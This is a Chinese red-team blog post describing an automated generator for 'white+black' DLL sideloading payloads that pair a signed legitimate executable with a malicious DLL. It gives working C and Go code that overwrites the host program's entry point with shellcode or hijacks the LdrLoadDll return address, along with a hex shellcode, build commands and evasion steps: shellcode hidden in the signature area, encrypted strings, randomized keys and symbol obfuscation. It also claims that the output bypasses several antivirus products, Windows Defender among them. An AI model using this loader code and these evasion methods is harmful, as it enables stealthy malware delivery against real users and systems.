Skip to content

Latest commit

 

History

History
906 lines (419 loc) · 21.5 KB

[Hacking就是好玩]-2021-10-18-红队开发 - 白加黑自动化生成器.md.md

File metadata and controls

906 lines (419 loc) · 21.5 KB

红队开发 - 白加黑自动化生成器.md

原创 w8ay Hacking就是好玩

Hacking就是好玩

微信号 gh_aed6cfc863ed

功能介绍 写安全工具的同时,写写字解闷~


__

收录于话题

参考一些APT组织的攻击手法,它们在投递木马阶段有时候会使用“白加黑”的方式,通常它们会使用一个带有签名的白文件+一个自定义dll文件,所以研究了一下这种白加黑的实现方式以及如何将它自动化生成。

想法

最早源于知识星球的一个想法,利用一些已知的dll劫持的程序作为"模板",自动生成白加黑的程序。

之后在看到了 SigFlip的原理后

有了这么一个想法,将shellcode写入到签名文件中的不被签名区域,黑dll的作用仅仅是读取白文件中的dll并执行。

同时制作几个白加黑的“模板”,可以根据不同的模板生成不同的白加黑样本。

概念图:

DLL劫持方式

大部分dll劫持只是在dll层面做一层转发,这样投递的话,要将整个软件一起打包,不然程序会运行出错。

而一些APT组织使用的白加黑样本仅仅只需要一个白文件和一个dll,所以dll的劫持方式和通常使用的是不一样的。

简单来说,我们需要让dll加载起来执行命令的同时,阻止它执行原程序的命令,总结了一下,一共有两种类型的dll需要处理,一种dll是存在于白程序的输入表中,一种是白程序输入表中不存在dll,但是它通过 LoadLibrary进行加载的dll。

Pre-Load Dll 劫持

如果dll在白程序的输入表中,我称这种为 pre-load dll(我自己发明的词语)。因为输入表的dll会优先于白程序运行,所以在dll在初始化时,可以先获取shellcode,然后对白程序的入口点进行改写,改写为执行shellcode即可。

用Vscode的更新程序 inno_updater.exe作为例子

inno_updater.exe在运行时会带起 vcruntime140.dll,所以它可以作为劫持的dll。

根据它输入表dll的导出函数,我们自动生成一份对应的导出函数,导出函数不需要任何功能,只要函数名称和它对应上即可。

之后在dllmain里面获取主程序的入口点,然后将shellcode写入入口点,之后主程序运行就会执行我们的shellcode了。

C代码如下

      1. int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved)

  2. {

  3.         switch (fdwReason)

  4.         {

  5.         case DLL_PROCESS_ATTACH:

  6.             hello_func();

  7.             break;

  8.         case DLL_PROCESS_DETACH:

  9.             break; 

  10.         }

  11.         return TRUE;

  12. }

  13. void hello_func(){

  14.     DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);

  15.     PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;

  16.     PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);

  17.     DWORD entryPoint = (DWORD)baseAddress + ntHeader->OptionalHeader.AddressOfEntryPoint;

  18.     DWORD old;

  19.     VirtualProtect(entryPoint, size, 0x40, &old);

  20.     for(int i=0;i<size;i++){

  21.         *((PBYTE)entryPoint+i) = shellcode[i];

  22.     }

  23.     VirtualProtect(entryPoint, size, old, &old);

  24.

Post-Load Dll劫持

dll在主程序导入表没有,而是程序通过 LoadLibrary动态调用的,我称这类dll为 post-load类型(我自己发明的词语)。

当程序使用 LoadLibrary进行加载的时候,它的调用堆栈类似以下

      1. KernelBase!LoadLibraryExW <- 要求动态模块加载

  2. ntdll!LdrLoadDll

  3. ntdll!LdrpLoadDll

  4. ntdll!LdrpLoadDllInternal

  5. ntdll!LdrpPrepareModuleForExecution

  6. ntdll!LdrpInitializeGraphRecurse <- 建立依赖关系图

  7. ntdll!LdrpInitializeNode

  8. ntdll!LdrpCallInitRoutine

  9. evil!DllMain <- 执行被传递给外部代码

所以此类dll劫持的,可以通过劫持 ntdllLdrLoadDll堆栈的返回地址,让程序LoadLibrary之后跳到我们的程序空间。

C语言代码

      1. char evilstring[10] = {0x90}; 

  2. DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandle("ntdll"), "LdrLoadDll");

  3. DWORD* stack =evilstring+(int)evilstring%4;

  4. while (1)

  5. {

  6.     stack++;

  7.     if(stack > ldrLoadDll + 0x1000){

  8.         printf("over\n");

  9.         break;

  10.     }

  11.     if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {

  12.         *stack = (DWORD)Memory;

  13.         break;

  14.     }

  15. }

你可以使用内嵌汇编的方式获得堆栈地址,我使用C语言的一个特性,我申明了一个小的变量

      1. char evilstring[10] = {0x90}; 

C语言会自动将它放到堆栈中,所以这个变量的地址即是堆栈的地址了。接着从堆栈向上寻找地址,如果发现地址和 LdrLoadDll相差不多的话,就是我们寻找的 LdrLoadDll的返回地址,hook它即可获得代码的执行权。

Golang与自动生成

我想用Golang编写劫持的dll,这样也方便可以做成在线平台。

C代码转换为Go

读取PE入口点用来写shellcode,用Windows API GetModuleHandle可以得到PE进程的内存地址,根据内存地址加减偏移就可以得到入口点。

我原本使用了 github.com/Binject/debug/pe库,它里面有一个 pe.NewFileFromMemory()函数,可以直接从内存中读取,但是它的参数是需要一个 io类型,文件的io自身有很多api,但是对内存的io,资料好少。

最后找了很多资料,发现只能自己实现io的接口

      1. type ReaderAt interface {

  2.     ReadAt(p []byte, off int64) (n int, err error)

  3. }

但问题来了, ReadAt接口要求我们自己读完了就返回 io.EOF,我是从内存空间读的,我不知道什么时候读完。

就这么纠结了好久,虽然现在写的时候想到了,我可以实现这个 ReadAt,长度我可以生成模板的时候硬写进去,但又感觉没必要,因为我根据PE的偏移写好了。

直接就不用它的库了,手动根据偏移去寻找入口点。

      1. var (

  2.     kernel32           = syscall.NewLazyDLL("kernel32.dll")

  3.     getModuleHandle    = kernel32.NewProc("GetModuleHandleW")

  4.     procVirtualProtect = kernel32.NewProc("VirtualProtect")

  5. )

  6. func GetModuleHandle() (handle uintptr) {

  7.     ret, _, _ := getModuleHandle.Call(0)

  8.     handle = ret

  9.     return

  10. }

  11. // 将shellcode写入程序ep

  12. func loader_from_ep(shellcode []byte) {

  13.     baseAddress := GetModuleHandle()

  14.   


  15.     fmt.Println(strconv.FormatInt(int64(baseAddress), 16))

  16.     // pe读dos header

  17.     ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))

  18.     v := (*uint32)(ptr)

  19.     ntHeaderOffset := *v

  20.     //ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(0x4))

  21.     //v2 := (*uint16)(ptr)

  22.     // 这个可以读取PE的架构信息,最后发现入口点的偏移都是固定的

  23.   


  24.     // x32和x64通用

  25.     ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))

  26.     ep := (*uint32)(ptr)

  27.     fmt.Println(ep, *ep)

  28.   


  29.     var entryPoint uintptr

  30.     entryPoint = baseAddress + uintptr(*ep)

  31.   


  32.     var oldfperms uint32

  33.     if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) {

  34.         panic("Call to VirtualProtect failed!")

  35.     }

  36.   


  37.     WriteMemory(shellcode, entryPoint)

  38.   


  39.     if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) {

  40.         panic("Call to VirtualProtect failed!")

  41.     }

  42. }

Go实现DllMain

DllMain是dll在创建或退出时的消息函数,要把shellcode写入PE的入口点,就必须在这里执行代码。但是Go里面没有这样相关的定义,搜索资料,有人说用 init()函数可以,我试了下, init()函数执行是在代码运行的时候加载的,也就是pe运行了,执行到了相关导出函数的时候,会先执行 init()代码,但是这个时候写shellcode到PE头部就已经没用了。

最后发现了怎么做,就是混编C和Go,而且比较麻烦。

dllmain.go

      1. package main

  2.   


  3. //#include "dllmain.h"

  4. import "C"

dllmain.h

      1. #include <windows.h>

  2.   


  3. extern void test();

  4.   


  5. BOOL WINAPI DllMain(

  6.     HINSTANCE _hinstDLL,  // handle to DLL module

  7.     DWORD _fdwReason,     // reason for calling function

  8.     LPVOID _lpReserved)   // reserved

  9. {

  10.     switch (_fdwReason) {

  11.     case DLL_PROCESS_ATTACH:

  12.         CreateThread(NULL, 0, test, NULL, 0, NULL);

  13.         break;

  14.     case DLL_PROCESS_DETACH:

  15.         // Perform any necessary cleanup.

  16.         break;

  17.     case DLL_THREAD_DETACH:

  18.         // Do thread-specific cleanup.

  19.         break;

  20.     case DLL_THREAD_ATTACH:

  21.         // Do thread-specific initialization.

  22.         break;

  23.     }

  24.     return TRUE; // Successful.

  25. }

main.go

      1. package main

  2.   


  3. import "C"

  4.   


  5. import (

  6.     "encoding/hex"

  7.     "fmt"

  8.     "strconv"

  9.     "syscall"

  10.     "unsafe"

  11. )

  12.   


  13. const (

  14.     MEM_COMMIT     = 0x00001000

  15.     MEM_RESERVE    = 0x00002000

  16.     MEM_RELEASE    = 0x8000

  17.     PAGE_READWRITE = 0x04

  18. )

  19.   


  20. var (

  21.     kernel32           = syscall.NewLazyDLL("kernel32.dll")

  22.     getModuleHandle    = kernel32.NewProc("GetModuleHandleW")

  23.     procVirtualProtect = kernel32.NewProc("VirtualProtect")

  24. )

  25.   


  26.   


  27. //WriteMemory writes the provided memory to the specified memory address. Does **not** check permissions, may cause panic if memory is not writable etc.

  28. func WriteMemory(inbuf []byte, destination uintptr) {

  29.     for index := uint32(0); index < uint32(len(inbuf)); index++ {

  30.         writePtr := unsafe.Pointer(destination + uintptr(index))

  31.         v := (*byte)(writePtr)

  32.         *v = inbuf[index]

  33.     }

  34. }

  35. func GetModuleHandle() (handle uintptr) {

  36.     ret, _, _ := getModuleHandle.Call(0)

  37.     handle = ret

  38.     return

  39. }

  40. func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {

  41.     ret, _, _ := procVirtualProtect.Call(

  42.         uintptr(lpAddress),

  43.         uintptr(dwSize),

  44.         uintptr(flNewProtect),

  45.         uintptr(lpflOldProtect))

  46.     return ret > 0

  47. }

  48.   


  49. // 将shellcode写入程序ep

  50. func loader_from_ep(shellcode []byte) {

  51.     baseAddress := GetModuleHandle()

  52.     ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))

  53.     v := (*uint32)(ptr)

  54.     ntHeaderOffset := *v

  55.     ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))

  56.     ep := (*uint32)(ptr)

  57.   


  58.     var entryPoint uintptr

  59.     entryPoint = baseAddress + uintptr(*ep)

  60.     var oldfperms uint32

  61.     if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) {

  62.         panic("Call to VirtualProtect failed!")

  63.     }

  64.     WriteMemory(shellcode, entryPoint)

  65.     if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) {

  66.         panic("Call to VirtualProtect failed!")

  67.     }

  68. }

  69.   


  70. //export _except_handler4_common

  71. func _except_handler4_common() {}

  72.   


  73. //export memcmp

  74. func memcmp() {}

  75.   


  76. //export memcpy

  77. func memcpy() {}

  78.   


  79. //export memset

  80. func memset() {}

  81.   


  82. //export memmove

  83. func memmove() {}

  84.   


  85. //export test

  86. func test() {

  87.     shellcode, err := hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300") // calc的shellcode

  88.     if err != nil {

  89.         panic(err)

  90.     }

  91.     loader_from_ep(shellcode)

  92. }

  93.   


  94. func main() {

  95. }

编译脚本 (Windows上)

      1. set GOOS=windows

  2. set GOARCH=386

  3. set CGO_ENABLED=1

  4. go build -ldflags "-s -w" -o vcruntime140.dll -buildmode=c-shared

Golang与死锁

在DllMain DLLPROCESSATTACH的时候,我想调用go里面的 test函数,我必须使用线程。。如果直接调用,不使用线程的话,它会一直卡住,用od调试,发现它卡在了死锁上。。

Go程序内部调用了wait

用了CreateThread可以,但是这个时候它是先执行了入口点,而我们之前 Pre-load的方式要求dll要在白程序之前执行。

我的解决方式是在白程序入口点写入死循环代码,同时启动一个线程执行go函数。

死循环的代码就随便发挥了

      1. 77C71B73    50              push eax

  2. 77C71B74    58              pop eax

  3. 77C71B75  ^ EB FC           jmp short 77C71B73

消失的代码

有了之前被死锁的经验, post-load类型的dll我这样写的,用C代码搜索堆栈,如果找到了 LdrLoadDll堆栈函数范围的地址则直接把堆栈地址修改成go函数的地址。

cgo中dllmain.h代码,因为测试了几次发现不行,加了个 MessageBoxW代码方便调试。

      1. #include <windows.h>

  2.   


  3. extern void test();

  4.   


  5. void dlljack2(){

  6.     char evilstring[10] = { 0x90 };

  7.     DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandleA("ntdll"), "LdrLoadDll");

  8.     DWORD* stack = (DWORD)evilstring + (DWORD)evilstring % 4;

  9.     while (1)

  10.     {

  11.         stack++;

  12.         if ((DWORD)stack > ldrLoadDll + 0x1000) {

  13.             break;

  14.         }

  15.         if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {

  16.             *stack = (DWORD)test;

  17.             MessageBoxW(0,0,0,0);

  18.             break;

  19.         }

  20.     }

  21. }

  22. BOOL WINAPI DllMain(

  23.     HINSTANCE _hinstDLL,  // handle to DLL module

  24.     DWORD _fdwReason,     // reason for calling function

  25.     LPVOID _lpReserved)   // reserved

  26. {

  27.     switch (_fdwReason) {

  28.     case DLL_PROCESS_ATTACH:

  29.         MessageBoxW(0,0,0,0);

  30.         dlljack2();

  31.         break;

  32.     case DLL_PROCESS_DETACH:

  33.         // Perform any necessary cleanup.

  34.         break;

  35.     case DLL_THREAD_DETACH:

  36.         // Do thread-specific cleanup.

  37.         break;

  38.     case DLL_THREAD_ATTACH:

  39.         // Do thread-specific initialization.

  40.         break;

  41.     }

  42.     return TRUE; // Successful.

  43. }

测试了几次发现不行,于是我用ida看了下代码。

      1. *stack = (DWORD)test;

我的这行代码将test函数地址赋值给堆栈的代码竟然凭空消失了。

很百思不得其解,难道编译器不认识语法将代码给优化了?顺着这个思路,我换成用 memcpy进行内存赋值,代码也没出现。

最后加上一个printf,代码就出现了。。

自动化生成器

前面核心的内容跑通了,后面自动化生成就是理所当然的,这方面没什么困难的,就是注意一下加一些对抗的东西,比如生成的源码里面的字符串全部加密,用于加解密shellcode的key全部随机化生成。将源码一起打包,并告诉编译方式,这样即使生成的dll被杀了也没关系,自己改改又可以继续了。

一些核心功能:

  • 收集一些白加黑文件,制作成模板

  • 解析白文件pe,将shellcode写入证书目录

  • 根据模板来生成劫持dll

  • go-strip进行符号混淆

  • docker环境进行交叉编译

  • 自动调用go命令进行编译

  • 自动打包成zip

生成的文件会包含:

  • 成品的白加黑文件

  • 用于dll劫持的go源码文件,方便自行进行一些处理

  • readme说明文件,说明了每个文件的作用以及编译方法

概念性demo测试网站已经完成。

公众号回复 白加黑即可得到网址。

因为需要启动docker进行交叉编译,为防止资源浪费,仅限 Hacking8安全信息流注册用户学习和使用。

杀毒测试

测试了国内的几个都不杀,卡巴静态也能过,windows defender 也不杀也能正常上线。

并且白进程会一直驻留。

w8ay

赞赏二维码 微信扫一扫赞赏作者 赞赏

已喜欢,对作者说句悄悄话

取消 __

发送给作者

发送

最多40字,当前共字

人赞赏

上一页 1/3 下一页

长按二维码向我转账

受苹果公司新规定影响,微信 iOS 版的赞赏功能被关闭,可通过二维码转账支持公众号。

预览时标签不可点

收录于话题 #

个 __

上一篇 下一篇

阅读

分享 收藏

赞 在看

____已同步到看一看写下你的想法

前往“发现”-“看一看”浏览“朋友在看”

示意图

前往看一看

看一看入口已关闭

在“设置”-“通用”-“发现页管理”打开“看一看”入口

我知道了

__

已发送

取消 __

发送到看一看

发送

红队开发 - 白加黑自动化生成器.md

最多200字,当前共字

__

发送中

写下你的留言

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看